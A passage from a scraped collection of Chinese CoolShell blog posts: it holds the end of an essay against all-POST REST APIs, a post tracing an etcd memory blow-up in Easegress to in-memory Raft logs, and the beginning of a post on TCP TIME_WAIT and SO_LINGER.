安全是一件很复杂的事，无论你用哪方法或动词都会不能代表你会更安全。</p>\n<p>另外，</p>\n<ul>\n<li>如果你要 防止你的 <code>GET</code> 上有敏感信息，应该加个密，这个跟 <code>POST</code>是一样的。</li>\n<li>如果你要防止 <code>GET</code> 会被中间人修改，你应该做一个URL签名。（通常来说， 我们都在 <code>GET</code> 上做签名，<code>POST</code> 就忘做了）</li>\n<li>如果你要防止有人发一些恶意链接来 hack 你的用户（传说中的 <code>GET</code> 不如 <code>POST</code> 安全的一个问题），你应该用 HMAC 之类的认证技术做好认证（参看 <a href=\"https://coolshell.cn/articles/19395.html\" rel=\"noopener\" target=\"_blank\" title=\"HTTP API 认证授权术\">HTTP API 认证授权术</a>）。</li>\n</ul>\n<p>总之，你要明白，<code>GET</code> 和 <code>POST</code> 的安全问题都一样的，不要有谁比谁更安全，然后你就可以掉以轻心的这样的想法，安全都是要很严肃对待的。</p>\n<h5>4）全用 POST 可以节省时间减少沟通吗？</h5>\n<p>不但不会，反而更糟糕。</p>\n<p>说这种话的人，我感觉是不会思考问题。</p>\n<ul>\n<li>其一，为API赋于不同的动词，这个几乎不需要时间。把CRUD写在不同的函数下也是一种很好的编程风格。另外现在几乎所有的开发框架都支持很快速的CRUD的开发，比如Spring Boot，写数据库的CRUD基本上就不需要写SQL语言相关的查询代码，非常之方便。</li>\n<li>其二，使用规范的方式，可以节约新加入团队人员的学习成本，而且可以大大减少跨团队的沟能成本。规范和标准其实就是在节约团队时间提升整体效率的，这个我们整个人类进行协作的基础。所以，这个世界上有很多的标准，你只要照着这个标准来，你的所生产的零件就可以适配到其它厂商的产品上。而不需要相互沟通。</li>\n<li>其三，全用POST接口一把梭，不规范不标准，使用你的这个山寨API的人就得来不断的问你，反而增加了沟通。另外，也许你开发业务功能很快了，但是你在做控制逻辑的时候，你就要返工了，从长期上来讲，你的欠下了技术债，这个债反而导致了更大的成本。</li>\n</ul>\n<h5>5）早点回家的正确姿势</h5>\n<p>不要以为你回家早就没事了，如果你的代码有这样那样的问题，别人看懂，或是出误用了你的代码出了问题，那么，你早回家有什么意义呢？你一样要被打扰，甚至被叫到公司来处理问题。所以，你应该做的是为了“长期的早回家”，而不是“短期的早回家”，要像长期的早回家，通常来说是这样的：</p>\n<ul>\n<li><strong>把代码组织设计好，有更好的扩展性</strong>。这样在面对新需求的时候，你就可以做到少改代码，甚至不改代码。这样你才可能早回家。不然，每次需求一来，你得重新写，你怎么可能早回家？</li>\n<li><strong>你的代码质量是不错的，有不错的文档和注释</strong>。所以，别人不会老有问题来找你，或是你下班后，叫你来处理问题。甚至任何人都可以很容易地接手你的代码，这样你才可能真正不被打扰</li>\n</ul>\n<h5>6）工作而已，优雅不能当饭吃</h5>\n<p>回应两点：</p>\n<p>其一，遵循个规范而已，把“正常”叫“优雅”，可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。</p>\n<p>其二，<strong>作为一个“职业程序员”，要学会热爱和尊重自己的职业，热爱自己职业最重要的就是不要让外行人看扁这个职业，自己都不尊重这个职业，你让别人怎么尊重？尊重自己的职业，不仅仅只是能够获得让人羡慕的报酬，而更是要让自己的这个职业的更有含金量</strong>。</p>\n<p><strong>希望大家都能尊重自己从事的这个职业，成为真正的职业化的程序员，而不是一个码农！</strong></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_22177\" style=\"width: 834px;\"><img alt=\"\" class=\"wp-image-22177 size-full\" height=\"319\" src=\"../wp-content/uploads/2022/02/quote-your-job-gives-you-authority-your-behavior-gives-you-respect-irwin-federman-73-55-75.jpeg\" width=\"834\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22177\">你的工作给你权力，而只有你的行为才会给你尊重</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20276.html\"><img alt=\"别让自己“墙”了自己\" height=\"150\" src=\"../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20276.html\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2022-5-5 ETCD的内存问题.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-22247\" height=\"183\" src=\"../wp-content/uploads/2022/05/etcd.png\" width=\"275\"/>今天跟大家分享一个etcd的内存大量占用的问题，这是前段时间在我们开源软件Easegress中遇到的问题，问题是比较简单的，但是我还想把前因后果说一下，包括，为什么要用etcd，使用etcd的用户场景，包括etcd的一些导致内存占用比较大的设计，以及最后一些建议。希望这篇文章不仅仅只是让你看到了一个简单的内存问题，还能让你有更多的收获。当然，也欢迎您关注我们的开源软件，给我们一些鼓励。</p>\n<h4>为什么要用ETCD</h4>\n<p>先说一下为什么要用etcd。先从一个我们自己做的一个API网关 – Easegress（<a href=\"https://github.com/megaease/easegress\">源码</a>）说起。</p>\n<p><a href=\"https://github.com/megaease/easegress\" rel=\"noopener\" target=\"_blank\">Easegress</a> 是我们开发并开源的一个API应用网关产品，这个API应用网关不仅仅只是像nginx那样用来做一个反向代理，这个网关可以做的事很多，比如：API编排、服务发现、弹力设计（熔断、限流、重试等）、认证鉴权（JWT，OAuth2，HMAC等）、同样支持各种Cloud Native的架构如：微服务架构，Service Mesh，Serverless/FaaS的集成，并可以用于扛高并发、灰度发布、全链路压力测试、物联网……等更为高级的企业级的解决方案。所以，为了达到这些目标，在2017年的时候，我们觉得在现有的网关如Nginx上是无法演进出来这样的软件的，必需重新写一个（后来其他人也应该跟我们的想法一样，所以，Lyft写了一个Envoy。只不过，Envoy是用C++写的，而我用了技术门槛更低的Go语言）</p>\n<p>另外，Easegress最核心的设计主要有三个：</p>\n<p><span id=\"more-22242\"></span></p>\n<ul>\n<li>一是无第三方依赖的自己选主组集群的能力</li>\n<li>二是像Linux管道命令行那样pipeline式的插件流式处理（支持Go/WebAssembly）</li>\n<li>三是内置一个Data Store用于集群控制和数据共享。</li>\n</ul>\n<p>对于任何一个分布式系统，都需要有一个强一制性的基于Paxos/Raft的可以自动选主机制，并且需要在整个集群间同步一些关键的控制/配置和相关的共享数据，以保证整个集群的行为是统一一致的。如果没有这么一个东西的话，就没有办法玩分布式系统的。这就是为什么会有像Zookeeper/etcd这样的组件出现并流行的原因。注意，Zookeeper他们主要不是给你存数据的，而是给你组集群的。</p>\n<p>Zookeeper是一个很流行的开源软件，也被用于各大公司的生产线，包括一些开源软件，比如：Kafka。但是，这会让其它软件有一个依赖，并且在运维上带来很大的复杂度。所以，Kafka在最新的版本也通过内置了选主的算法，而抛弃了外挂zookeeper的设计。Etcd是Go语言社区这边的主力，也是kubernetes组建集群的关键组件。Easegress在一开始（5年前）使用了gossip协议同步状态（当时想的过于超前，想做广域网的集群），但是后发现这个协议太过于复杂，而且很难调试，而广域网的API Gateway也没遇到相应的场景。所以，在3年前的时候，为了稳定性的考量，我们把其换成了内嵌版本的etcd，这个设计一直沿用到今天。</p>\n<p>Easegress会把所有的配置信息都放到etcd里，还包括一些统计监控数据，以及一些用户的自定义数据（这样用户自己的plugin不但可以在一条pipeline内，还可以在整个集群内共享数据），这对于用户进行扩展来说是非常方便的。软件代码的扩展性一直是我们追求的首要目标，尤其是开源软件更要想方设法降低技术门槛让技术易扩展，这就是为什么Google的很多开源软件都会选使用Go语言的原因，也是为什么Go正在取代C/C++的做PaaS基础组件的原因。</p>\n<h4>背景问题</h4>\n<p>好了，在介绍完为什么要用etcd以后，我开始分享一个实际的问题了。我们有个用户在使用 Easegress 的时候，在Easegress内配置了上千条pipeline，导致 Easegress的内存飙升的非常厉害- 10+GB 以上，而且长时间还下不来。</p>\n<p>用户报告的问题是——</p>\n<blockquote><p>在Easegress 1.4.1 上创建一个HTTP对象，1000个Pipeline，在Easegres初始化启动完成时的内存占用大概为400M，运行80分钟后2GB，运行200分钟后达到了4GB，这期间什么也没有干，对Easegress没有进行过一次请求。</p></blockquote>\n<p>一般来说，就算是API再多也不应该配置这么多的处理管道pipeline的，通常我们会使用HTTP API的前缀把一组属于一个类别的API配置在一个管道内是比较合理的，就像nginx下的location的配置，一般来说不会太多的。但是，在用户的这个场景下配置了上千个pipeline，我们也是头一次见，应该是用户想做更细粒度的控制。</p>\n<p>经过调查后，我们发现内存使用基本全部来自etcd，我们实在没有想到，因为我们往etcd里放的数据也没有多少个key，感觉不会超过10M，但不知道为什么会占用了10GB的内存。这种时候，一般会怀疑etcd有内存泄漏，上etcd上的github上搜了一下，发现etcd在3.2和3.3的版本上都有内存泄露的问题，但都修改了，而 Easegress 使用的是3.5的最新版本，另外，一般来说内存泄漏的问题不会是这么大的，我们开始怀疑是我们哪里误用了etcd。要知道是否误用了etcd，那么只有一条路了，沉下心来，把etcd的设计好好地看一遍。</p>\n<div class=\"p-rich_text_section\">\n<p>大概花了两天左右的时间看了一下etcd的设计，我发现了etcd有下面这些消耗内存的设计，老实说，还是非常昂贵的，这里分享出来，避免后面的同学再次掉坑。</p>\n<p><b>首当其冲是——RaftLog</b>。etcd用Raft Log，主要是用于帮助follower同步数据，这个log的底层实现不是文件，而是内存。所以，而且还至少要保留 <code>5000</code> 条最新的请求。如果key的size很大，这 <code>5000</code>条就会产生大量的内存开销。比如，不断更新一个 1M的key，哪怕是同一个key，这 5000 条Log就是 5000MB = 5GB 的内存开销。这个问题在etcd的issue列表中也有人提到过  <a href=\"https://github.com/etcd-io/etcd/issues/12548\" rel=\"noopener\" target=\"_blank\">issue #12548 </a>，不过，这个问题不了了之了。这个5000还是一个hardcode，无法改。（参看 <code>DefaultSnapshotCatchUpEntries</code> <a class=\"c-link\" href=\"https://github.com/etcd-io/etcd/blob/29c3b0f307107fd95a6eb43ddff20db952eeb2fa/server/etcdserver/server.go#L80\" rel=\"noopener noreferrer\" tabindex=\"-1\" target=\"_blank\">相关源码</a>）</p>\n<pre class=\"EnlighterJSRAW\">// DefaultSnapshotCatchUpEntries is the number of entries for a slow follower\n// to catch-up after compacting the raft storage entries.\n// We expect the follower has a millisecond level latency with the leader.\n// The max throughput is around 10K. Keep a 5K entries is enough for helping\n// follower to catch up.\nDefaultSnapshotCatchUpEntries uint64 = 5000</pre>\n<p>另外，我们还发现，这个设计在历史上etcd的官方团队把这个默认值从10000降到了5000，我们估计etcd官方团队也意识到10000有点太耗内存了，所以，降了一半，但是又怕follwer同步不上，所以，保留了 5000条……（在这里，我个人感觉还有更好的方法，至少不用全放在内存里吧……）</p>\n<p>另外还有下面几项也会导致etcd的内存会增加</p>\n<ol class=\"p-rich_text_list p-rich_text_list__ordered\">\n<li><strong>索引</strong>。etcd的每一对 key-value 都会在内存中有一个 B-tree 索引。这个索引的开销跟key的长度有关，etcd还会保存版本。所以B-tree的内存跟key的长度以及历史版本号数量也有关系。</li>\n<li><b>mmap</b>。还有，etcd 使用 mmap 这样上古的unix技术做文件映射，会把他的blotdb的内存map到虚拟内存中，所以，db-size越大，内存越大。</li>\n<li><b>Watcher</b>。watch也会占用很大的内存，如果watch很多，连接数多，都会堆积内存。</li>\n</ol>\n<p>（很明显，etcd这么做就是为了一个高性能的考虑）</p>\n<div class=\"p-rich_text_section\">\n<p>Easegress中的问题更多的应该是Raft Log 的问题。后面三种问题我们觉得不会是用户这个问题的原因，对于索引和mmap，使用 <a href=\"https://etcd.io/docs/v3.2/op-guide/maintenance/\" rel=\"noopener\" target=\"_blank\">etcd 的 compact 和 defreg</a> （压缩和碎片整理应该可以降低内存，但用户那边不应该是这个问题的核心原因）。</p>\n<p>针对用户的问题，大约有1000多条pipeline，因为Easegress会对每一条pipeline进行数据统计（如：M1, M5, M15， P99, P90, P50等这样的统计数据），统计信息可能会有1KB-2KB左右，但Easegress会把这1000条pipeline的统计数据合并起来写到一个key中，这1000多条的统计数据合并后会导致出现一个平均尺寸为2MB的key，而5000个in-memory的RaftLog导致etcd要消耗了10GB的内存。之前没有这么多的pipeline的场景，所以，这个内存问题没有暴露出来。</p>\n<p>于是，我们最终的解决方案也很简单，我们修改我们的策略，不再写这么大的Value的数据了，虽然以前只写在一个key上，但是Key的值太大，现在把这个大Key值拆分成多个小的key来写，这样，实际保存的数据没有发生变化，但是RaftLog的每条数据量就小了，所以，以前是5000条 2M（10GB），现在是5000条 1K（500MB），就这样解决了这个问题。相关的PR在这里 <a href=\"https://github.com/megaease/easegress/pull/542\" rel=\"noopener\" target=\"_blank\">PR#542</a> 。</p>\n<h4>总结</h4>\n<p>要用好 etcd，有如下的实践</p>\n<ul>\n<li>避免大尺寸的key和value，一方面会通过一个内存级的 Raft Log 占大量内存，另一方面，B-tree的多版本索引也会因为这样耗内存。</li>\n<li>避免DB的尺寸太大，并通过 compact和defreg来压缩和碎片整理降低内存。</li>\n<li>避免大量的Watch Client 和 Watch数。这个开销也是比较大的。</li>\n<li>最后还有一个，就是尽可能使用新的版本，无论是go语言还是etcd，这样会少很多内存问题。比如：golang的这个跟LInux内核心相关的<a href=\"https://github.com/golang/go/issues/42330\" rel=\"noopener\" target=\"_blank\">内存问题</a> —— golang 1.12的版sget的是 <code>MADV_FREE</code> 的内存回收机制，而在1.16的时候，改成了 <code>MADV_DONTNEED</code> ，这两者的差别是，<code>FREE</code>表示，虽然进程标记内存不要了，但是操作系统会保留之，直到需要更多的内存，而 <code>DONTNEED</code> 则是立马回收，你可以看到，在常驻内存RSS 上，前者虽然在golang的进程上回收了内存，但是RSS值不变，而后者会看到RSS直立马变化。Linux下对 <code>MADV_FREE</code> 的实现在某些情况下有一定的问题，所以，在go 1.16的时候，默认值改成了 <code>MADV_DONTNEED</code> 。而 etcd 3.4 是用 来1.12 编译的。</li>\n</ul>\n<p>最后，欢迎大家关注我们的开源软件！ <a href=\"https://github.com/megaease/\" rel=\"noopener\" target=\"_blank\">https://github.com/megaease/ </a></p>\n<div class=\"p-rich_text_section\">\n<p>（全文完）</p>\n</div>\n</div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2022-7-19 从一次经历谈 TIME_WAIT 的那些事.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"222\" src=\"../wp-content/uploads/2022/07/wall_clock-300x167.jpeg\" width=\"400\"/>今天来讲一讲TCP 的 <code>TIME_WAIT</code> 的问题。这个问题尽人皆知，不过，这次遇到的是不太一样的场景，前两天也解决了，正好写篇文章，顺便把 <code>TIME_WAIT</code> 的那些事都说一说。对了，这个场景，跟我开源的探活小工具 <a href=\"https://github.com/megaease/easeprobe\">EaseProbe</a> 有关，我先说说这个场景里的问题，然后，顺着这个场景跟大家好好说一下这个事。</p>\n<h4>问题背景</h4>\n<p>先说一下背景，<a href=\"https://github.com/megaease/easeprobe\">EaseProbe</a> 是一个轻量独立的用来探活服务健康状况的小工具，支持http/tcp/shell/ssh/tls/host以及各种中间件的探活，然后，直接发送通知到主流的IM上，如：Slack/Telegram/Discrod/Email/Team，包括国内的企业微信/钉钉/飞书， 非常好用，用过的人都说好 <img alt=\"😏\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/1f60f.png\" style=\"height: 1em;\"/>。</p>\n<p>这个探活工具在每次探活的时候，必须要从头开始建立整个网络链接，也就是说，需要从头开始进行DNS查询，建立TCP链接，然后进行通信，再关闭链接。这里，我们不会设置 TCP 的 KeepAlive 重用链接，因为探活工具除了要探活所远端的服务，还要探活整个网络的情况，所以，每次探活都需要从新来过，这样才能捕捉得到整个链路的情况。</p>\n<p><span id=\"more-22263\"></span></p>\n<p>但是，这样不断的新建链接和关闭链接，根据TCP的状态机，我们知道这会导致在探测端这边出现的 <code>TIME_WAIT</code> 的 TCP 链接，根据 TCP 协议的定义，这个 TIME_WAIT 需要等待 2倍的MSL 时间，TCP 链接都会被系统回收，在回收之前，这个链接会占用系统的资源，主要是两个资源，一个是文件描述符，这个还好，可以调整，另一个则是端口号，这个是没法调整的，因为作为发起请求的client来说，在对同一个IP上理论上你只有64K的端口号号可用（实际上系统默认只有近30K，从32,768 到 60,999 一共 60999+1-32768=28,232，你可以通过 <code>sysctl net.ipv4.ip_local_port_range</code> 查看  ），如果 <code>TIME_WAIT</code> 过多，会导致TCP无法建立链接，还会因为资源消耗太多导致整个程序甚至整个系统异常。</p>\n<p>试想，如果我们以 10秒为周期探测10K的结点，如果TIME_WAIT的超时时间是120秒，那么在第60秒后，等着超时的 <code>TIME_WAIT</code> 我们就有可能把某个IP的端口基本用完了，就算还行，系统也有些问题。（注意：我们不仅仅只是TCP，还有HTTP协议，所以，大家不要觉得TCP的四元组只要目标地址不一样就好了，一方面，我们探的是域名，需要访问DNS服务，所以，DNS服务一般是一台服务器，还有，因为HTTPS一般是探API，而且会有网关代理API，所以链接会到同一个网关上。另外就算还可以建出站连接，但是本地程序会因为端口耗尽无法bind了。所以，现实情况并不会像理论情况那样只要四元组不冲突，端口就不会耗尽）</p>\n<h4>为什么要 TIME_WAIT</h4>\n<p>那么，为什么TCP在 <code>TIME_WAIT</code> 上要等待一个2MSL的时间？<code></code></p>\n<p>以前写过篇比较宏观的《TCP的那些事》（<a href=\"https://coolshell.cn/articles/11564.html\" rel=\"noopener\" target=\"_blank\" title=\"TCP 的那些事儿（上）\">上篇</a>，<a href=\"https://coolshell.cn/articles/11609.html\" rel=\"noopener\" target=\"_blank\" title=\"TCP 的那些事儿（下）\">下篇</a>），这个访问在“上篇”里讲过，这里再说一次，TCP 断链接的时候，会有下面这个来来回回的过程。</p>\n<p>我们来看主动断链接的最后一个状态 <code>TIME_WAIT</code> 后就不需要等待对端回 ack了，而是进入了超时状态。这主要是因为，在网络上，如果要知道我们发出的数据被对方收到了，那我们就需要对方发来一个确认的Ack信息，那问题来了，对方怎么知道自己发出去的ack，被收到了？难道还要再ack一下，这样ack来ack回的，那什么谁也不要玩了……是的，这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商，A向B派出信鸽，我们明早8点进攻，A怎么知道B收到了信？那需要B向A派出信鸽，ack说我收到了，明早8点开干。但是，B怎么知道A会收到自己的确认信？是不是还要A再确认一下？这样无穷无尽的确认导致这个问题是没有完美解的（我们在《<a href=\"https://coolshell.cn/articles/10910.html#Two_Generals_Problem%EF%BC%88%E4%B8%A4%E5%B0%86%E5%86%9B%E9%97%AE%E9%A2%98%EF%BC%89\" rel=\"noopener\" target=\"_blank\">分布式事务</a>》一文中说过这个问题，这里不再重述）</p>\n<p>所以，我们只能等一个我们认为最大小时来解决两件个问题：</p>\n<p>1） 为了 <strong>防止来自一个连接的延迟段</strong>被依赖于相同四元组（源地址、源端口、目标地址、目标端口）的稍后连接接受（被接受后，就会被马上断掉，TCP状态机紊乱）。虽然，可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些，对于一个吞吐量大的的应用来说，依然能够出现问题，尤其是在具有大接收窗口的快速连接上。<a href=\"https://tools.ietf.org/html/rfc1337\" title=\"RFC 1337：TCP 中的 TIME-WAIT 暗杀危险\">RFC 1337</a>详细解释了当 <code>TIME-WAIT</code>状态不足时会发生什么。<sup id=\"fnref-rfc1337\"></sup><code>TIME-WAIT</code>以下是如果不缩短状态可以避免的示例：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_22267\" style=\"width: 456px;\"><img alt=\"\" class=\"wp-image-22267\" height=\"467\" src=\"../wp-content/uploads/2022/07/duplicate-segment.png\" width=\"456\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22267\">由于缩短的 TIME-WAIT 状态，后续的 TCP 段已在不相关的连接中被接受（<a href=\"https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux\" rel=\"noopener\" target=\"_blank\">来源</a>）</figcaption></figure>\n<p> </p>\n<p>2）另一个目的是确保<strong>远端已经关闭了连接</strong>。当最后一个<em>ACK</em>​​ 丢失时，对端保持该<code>LAST-ACK</code>状态。<sup id=\"fnref-lastack\"></sup>在没有<code>TIME-WAIT</code>状态的情况下，可以重新打开连接，而远程端仍然认为先前的连接有效。当它收到一个<em>SYN</em>段（并且序列号匹配）时，它将以<em>RST</em>应答，因为它不期望这样的段。新连接将因错误而中止：</p>\n<p> </p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_22268\" style=\"width: 559px;\"><img alt=\"\" class=\"wp-image-22268\" height=\"375\" src=\"../wp-content/uploads/2022/07/last-ack.png\" width=\"559\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22268\">如果远端因为最后一个 ACK​​ 丢失而停留在 LAST-ACK 状态，则打开具有相同四元组的新连接将不起作用 （<a href=\"https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux\" rel=\"noopener\" target=\"_blank\">来源</a>）</figcaption></figure>\n<p><code>TIME_WAIT</code> 的这个超时时间的值如下所示：</p>\n<ul>\n<li>在 macOS 上是15秒， <code>sysctl net.inet.tcp | grep net.inet.tcp.msl</code></li>\n<li>在 Linux 上是 60秒 <code>cat /proc/sys/net/ipv4/tcp_fin_timeout</code></li>\n</ul>\n<h4>解决方案</h4>\n<p>要解决这个问题，网上一般会有下面这些解法</p>\n<ul>\n<li>把这个超时间调小一些，这样就可以把TCP 的端口号回收的快一些。但是也不能太小，如果流量很大的话，TIME_WAIT一样会被耗尽。</li>\n<li>设置上 <code>tcp_tw_reuse</code> 。<a href=\"https://tools.ietf.org/html/rfc1323\" title=\"RFC 1323：高性能 TCP 扩展\">RFC 1323</a>提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外，它定义了一个新的 TCP 选项，带有两个四字节<strong>时间戳字段</strong>。第一个是发送选项的 TCP 时间戳的当前值，而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 <code>TIME_WAIT</code> 连接用于<strong>出站的链接</strong>。也就是说，<strong>这个参数对于入站连接是没有任何用图的。</strong></li>\n<li>设置上 <code>tcp_tw_recycle</code> 。 这个参数同样依赖于时间戳选项，但会影响进站和出站链接。这个参数会影响NAT环境，也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下，时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接，因为它们不共享相同的时间戳时钟。毫无疑问，禁用此选项要好得多，因为它会导致 <strong>难以检测</strong>和<strong>诊断</strong>问题。（注：从 Linux 4.10 (commit <a href=\"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a22caee396cef0bb2ca8fafdd82966a49367bb\" title=\"tcp：为每个连接随机化 tcp 时间戳偏移\">95a22caee396</a> ) 开始，Linux 将为每个连接随机化时间戳偏移量，从而使该选项完全失效，无论有无<abbr title=\"网络地址解读\">NAT</abbr>。它已从 Linux 4.12中完全删除）</li>\n</ul>\n<p>对于服务器来说，上述的三个访问都不能解决服务器的 <code>TIME_WAIT</code> 过多的问题，真正解决问题的就是——<strong>不作死就不会死，也就是说，服务器不要主动断链接，而设置上KeepAlive后，让客户端主动断链接，这样服务端只会有<code>CLOSE_WAIT</code></strong>。</p>\n<p>但是对于用于建立出站连接的探活的 EaseProbe来说，设置上 <code>tcp_tw_reuse</code> 就可以重用 <code>TIME_WAIT</code> 了，但是这依然无法解决 <code>TIME_WAIT</code> 过多的问题。</p>\n<p>然后，过了几天后，我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数，叫 <code class=\"EnlighterJSRAW\">&lt;code&gt;SO_LINGER</code>，我的编程生涯中从来没有使用过这个设置，这个参数主要是为了延尽关闭来用的，也就是说你应用调用 <code>close()</code>函数时，如果还有数据没有发送完成，则需要等一个延时时间来让数据发完，但是，如果你把延时设置为 0  时，Socket就丢弃数据，并向对方发送一个 <code>RST</code> 来终止连接，因为走的是 RST 包，所以就不会有 <code>TIME_WAIT</code> 了。</p>\n<p>这个东西在服务器端永远不要设置，不然，你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”，但是这个参数对于 EaseProbe 